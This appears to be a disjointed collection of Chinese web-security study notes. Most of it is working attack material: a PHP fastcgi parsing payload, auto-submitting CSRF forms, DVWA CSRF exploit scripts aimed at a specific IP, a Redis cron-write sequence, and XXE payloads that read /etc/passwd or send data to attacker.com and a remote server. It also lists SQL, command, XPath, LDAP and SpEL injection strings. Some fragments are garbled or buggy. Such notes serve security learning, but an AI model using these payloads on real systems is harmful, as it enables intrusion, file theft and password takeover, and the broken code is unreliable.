出现这个漏洞的原因与 "在 fastcgi 方式下,PHP 获取环境变量的方式有关" PHP 的配置文件中有一个关键选项:cgi.fix_pathinfo = 1,默认是开启的。在映射URI时,将递归查询路径确认文件的合法性,notexist.php 不存在时,将往前递归查询路径,这个功能原本是想解决 /info.php/test 这种 URL 能够正确解析到 info.php 上,此时 SCRIPT_FILENAME 需要检查文件是否存在,所以会是 /path/test.jpg ;而 PATH_INFO 此时还是 notexist.php,在最终执行的时候,test.jpg 会被当作 PHP 进行解析。
当php遇到文件路径“/aaa.xxx/bbb.yyy/ccc.zzz" 时,若"/aaa.xxx/bbb.yyy/ccc.zzz" 不存在,则会去掉最后的“/ccc.zzz”,然后判断"/aaa.xxx/bbb.yyy”是否存在,若存在,则把“/aaa.xxx/bbb.yyy”当做文件“/aaa.xxx/bbb.yyy/ccc.zzz”
payload
http://www.test.com/path/test.jpg/notexist.php
其中 notexist.php 并不存在,如果在任何配置为 fastcgi 的PHP 应用里上传一张图片,其图片内容是 PHP 文件,则会导致代码执行。其他可以上传的合法文件如文本文件、压缩文件等情况类似
dig @<DNS_SERVER_IP(DNS服务器)> -t axfr <DOMAIN(域名)>
var x = JSON.stringify($eval);
# 自动处理所有特殊字符
# 也可以正确处理各种攻击向量
# 保证一致性
# 内置标准符合Json规范
# 避免手动转义陷阱
# 性能也更好```
<form action"/register" id="register" mothod="post">
<input type="text" name="username" value=""/>
<input type="password" name="password" value=""/>
<input type="submit" name="submit" value=""/>
</form>
<img src = http://www.b.com/test.html>
<form action="http: //www.a.com/register" id="register" method="post" >
<input type=text name="username" value=""/>
<input type=password name="password" value=""/>
<input type=submit name="submit" value="submit"/>
</form>
<script>
var f = document.getElementById ( "register");
f.inputs [0].value = "test";
f.inputs [1].value = "passwd" ;
f.submit ();
</script>
import requests
# 配置信息(请根据实际情况修改)
TARGET_URL = "http://117.10.146.12:12345/dvwa/vulnerabilities/csrf/"
PHPSESSID = "abc123xyz" # 替换为你浏览器中的实际 PHPSESSID 值
SECURITY_LEVEL = "high" # 可选: high / medium / low
print("🔍 正在进行 CSRF 漏洞 POC 检测...")
# 创建会话
session = requests.Session()
session.cookies.set("PHPSESSID", PHPSESSID)
session.cookies.set("security", SECURITY_LEVEL)
try:
# 尝试不带 user_token 直接修改密码(典型的 CSRF 攻击尝试)
params = {
'password_new': 'poc_test_123',
'password_conf': 'poc_test_123',
'Change': 'Change'
}
print("📤 正在发送无 token 的请求...")
response = session.get(TARGET_URL, params=params)
if "Password Changed" in response.text:
print("🎉 POC 成功!无需身份令牌即可修改密码 → 存在 CSRF 安全漏洞!")
print("📌 结论:该 High 级别并未正确防御 CSRF,存在严重安全隐患。")
else:
print("✅ POC 失败!服务器拒绝无 token 请求。")
print("🟢 结论:CSRF 防护机制生效,当前环境安全。")
except Exception as e:
print(f"❌ 检测过程中发生错误:{str(e)}")
import requests
from bs4 import BeautifulSoup
# 配置信息
TARGET_URL = "http://117.10.146.12:12345/dvwa/vulnerabilities/csrf/"
PHPSESSID = "abc123xyz" # 必须替换为你自己的有效 PHPSESSID
SECURITY_LEVEL = "high"
NEW_PASSWORD = "exploited_pass_2025"
print("🚀 开始执行 CSRF EXP 利用脚本...")
# 创建会话并设置 Cookie
session = requests.Session()
session.cookies.set("PHPSESSID", PHPSESSID)
session.cookies.set("security", SECURITY_LEVEL)
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "text/html"
}
try:
# Step 1: 获取页面,提取 user_token
print("📥 正在访问目标页面以获取 user_token...")
res = session.get(TARGET_URL, headers=headers)
if "Login" in res.text:
print("❌ 登录状态失效,请检查 PHPSESSID 是否正确。")
exit()
soup = BeautifulSoup(res.text, 'html.parser')
token_input = soup.find('input', {'name': 'user_token'})
if not token_input:
print("⚠️ 未找到 user_token 字段,可能已修复或页面结构变化。")
user_token = None
else:
user_token = token_input['value']
print(f"🔑 成功提取 user_token: {user_token}")
# Step 2: 构造完整请求(带上 token)
print("📤 正在提交带 token 的密码修改请求...")
exploit_params = {
'password_new': NEW_PASSWORD,
'password_conf': NEW_PASSWORD,
'user_token': user_token,
'Change': 'Change'
}
response = session.get(TARGET_URL, params=exploit_params, headers=headers)
# Step 3: 判断是否成功
if "Password Changed" in response.text:
print(f"💥 EXP 成功!密码已被修改为:{NEW_PASSWORD}")
print("📌 提示:若此操作可被第三方网页自动完成,则仍可能存在 XSS+CSRF 组合攻击风险。")
else:
print("❌ EXP 失败!可能是 token 校验严格或网络问题。")
print("✅ 当前防护机制较为完善,单纯 CSRF 无法利用。")
except Exception as e:
print(f"🚫 执行过程中出现异常:{str(e)}")
FLUSHALL
SET payload "我们的恶意命令"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
<?xml version="1.0" encoding="ISO-8859-15"?>
<!DOCTYPE root SYSTEM "http://somewhere.for.dtd/file" [
<!ELEMENT root (other)>
<!ELEMENT other (#PCDATA)>
<!ENTITY generalentity "content">
<!ENTITY % extendentity SYSTEM "http://somewhere.for.EXTdtd/file">
%extendentity;
]>
<?xml version="1.0" encoding="ISO-8859-15"?>
<!--这是XML声明,就像信封上的“使用说明”
version="1.0":我用的是XML 1.0版本
encoding="ISO-8859-15":我用的字符编码,决定了支持哪些语言字符-->
<!DOCTYPE root SYSTEM "http://somewhere.for.dtd/file" [
<!ELEMENT root (other)>
<!-- 声明root元素必须包含一个叫other的子元素就像说“每个家庭必须有一个孩子” -->
<!ELEMENT other (#PCDATA)>
<!-- 声明other元素里面只能放文本内容 #PCDATA意思是“可解析的字符数据” -->
<!ENTITY generalentity "content">
<!-- 这创建了一个一般实体,就像定义了一个变量 以后在文档中写&generalentity;,就会自动替换成"content" -->
<!ENTITY % extendentity SYSTEM "http://somewhere.for.EXTdtd/file">
<!-- 这是参数实体,专门在DTD内部使用 %表示它是参数实体,SYSTEM后面是外部文件地址-->
%extendentity;
<!-- 这是参数实体的引用,相当于把那个外部文件的内容插入到这里 -->
]>
定义:
<!ENTITY 公司名 "阿里巴巴">
<!ENTITY 版权 "版权所有 &公司名; 2024">
使用:
<公司介绍>
<名称>&公司名;</名称>
<声明>&版权;</声明>
</公司介绍>
实际解析:
<公司介绍>
<名称>阿里巴巴</名称>
<声明>版权所有 阿里巴巴 2024;</声明>
</公司介绍>
以%开头
定义
<!ENTITY % 基础信息 "姓名,年龄,性别">
使用
<!ENTITY 员工 %基础信息;>
<!ENTITY 学生 %基础信息;>
等效于:
<!ENTITY 员工 (姓名,年龄,性别)>
<!ENTITY 学生 (姓名,年龄,性别)>
第1行:<?xml version="1.0" encoding="ISO-8859-15"?>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE 学校 [
<!-- 定义参数实体 -->
<!ENTITY % 个人信息 "(姓名, 年龄, 班级)">
<!-- 使用参数实体 -->
<!ELEMENT 学生 %个人信息;>
<!ELEMENT 教师 %个人信息;>
<!ELEMENT 管理员 %个人信息;>
<!-- 定义具体的元素 -->
<!ELEMENT 姓名 (#PCDATA)>
<!ELEMENT 年龄 (#PCDATA)>
<!ELEMENT 班级 (#PCDATA)>
]>
<学校>
<学生>
<姓名>张三</姓名>
<年龄>15</年龄>
<班级>高一(3)班</班级>
</学生>
<教师>
<姓名>李老师</姓名>
<年龄>35</年龄>
<班级>教师组</班级>
</教师>
</学校>
<!-- 解析前 -->
<!ELEMENT 学生 %个人信息;>
<!ELEMENT 教师 %个人信息;>
<!-- 解析后(在内存中) -->
<!ELEMENT 学生 (姓名, 年龄, 班级)>
<!ELEMENT 教师 (姓名, 年龄, 班级)>
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
<!ENTITY xxe SYSTEM "http://attacker.com/steal?data=secret">
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "phar:///path/to/file.phar/internal/file.txt">
<!ENTITY xxe SYSTEM "gopher://internal-server:6379/_INFO">
内部声明外部实体
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
实体的定义和引用都在同一个XML文档中完成
DTD内部声明外部参数实体
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://attacker.com/malicious.dtd">
%d;
]>
<c>&b;</c>
更灵活:在诶服务器上的malicious.dtd中定义真正的攻击实体
DTD引用外部实体
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://attacker.com/malicious.dtd">
<c>&b;</c>
所有的实体定义都在外部DTD中完成
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY var "tzuxung">
]>
<root>
<data>&var;</data>
</root>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY var SYSTEM "file:///etc/passwd">
]>
<root>
<data>&var;</data>
</root>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY var SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe.php">
]>
<root>
<data>&var;</data>
</root>
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker SYSTEM "file:///c:/windows/win.ini" >
]>
<name>&hacker;</name>
//定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,如:<!ENTITY 实体名称 SYSTEM "URI/URL">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.0.105:8080?p=%file;'>">
//内部的%号要进行实体编码成%
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
http://127.0.0.1/sqli/Less-1/?id=1 正常
http://127.0.0.1/sqli/Less-1/?id=1 and 1=1 正常
http://127.0.0.1/sqli/Less-1/?id=1 and 1=2 不正常
http://127.0.0.1/sqli/Less-1/?id=1 and mod(8,7) in (1) 正常
http://127.0.0.1/sqli/Less-1/?id=1 and mod(8,7) in (2) 不正常
http://127.0.0.1/sqli/Less-1/?id=1 正常,原url
http://127.0.0.1/sqli/Less-1/?id=1 or 1=1 正常
http://127.0.0.1/sqli/Less-1/?id=1 or 1=2 正常
http://127.0.0.1/sqli/Less-1/?id=-1 or 1 正常,会返回数据库中的第一条数据
http://127.0.0.1/sqli/Less-1/?id=-1 or 1=2 无结果返回
http://127.0.0.1/sqli/Less-1/?id=1'" 不正常
delete from users where id = 1 and sleep(5) 比正常晚5s
# 当延迟执行完毕后等同于: delete from users where id = 1 and 0,因此不会删除数据
http://127.0.0.1/sqli/Less-1/?id=1 正常,查询结果为1
http://127.0.0.1/sqli/Less-1/?id=1+1 查询结果为2则不正常
http://127.0.0.1/sqli/Less-1/?id=1'+'1 查询结果为2则不正常
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/prepare_stmt_test?user=root&password=root&useServerPrepStmts=true");
String sql = " select * from users where name = ? ;";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, "aaa");
ResultSet rs1 = stmt.executeQuery();//第一次执行
s1.close();
stmt.setString(1, "ddd");
ResultSet rs2 = stmt.executeQuery();//第二次执行
rs2.close();
stmt.close();
//查看mysql日志
//1 Prepare select * from users where name = ?
//1 Execute select * from users where name = 'aaa'
//1 Execute select * from users where name = 'ddd'
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
ping -c 4 127.0.0.1; ls -la
//user[username='$username' and password='$password']
//user[username='admin' or '1'='1' and password='any']
(&(username=$username)(password=$password))
(&(username=*)(password=*))
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(userInput);
Object value = exp.getValue();
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/bin/
redis-cli -h
redis-cli -h 目标主机IP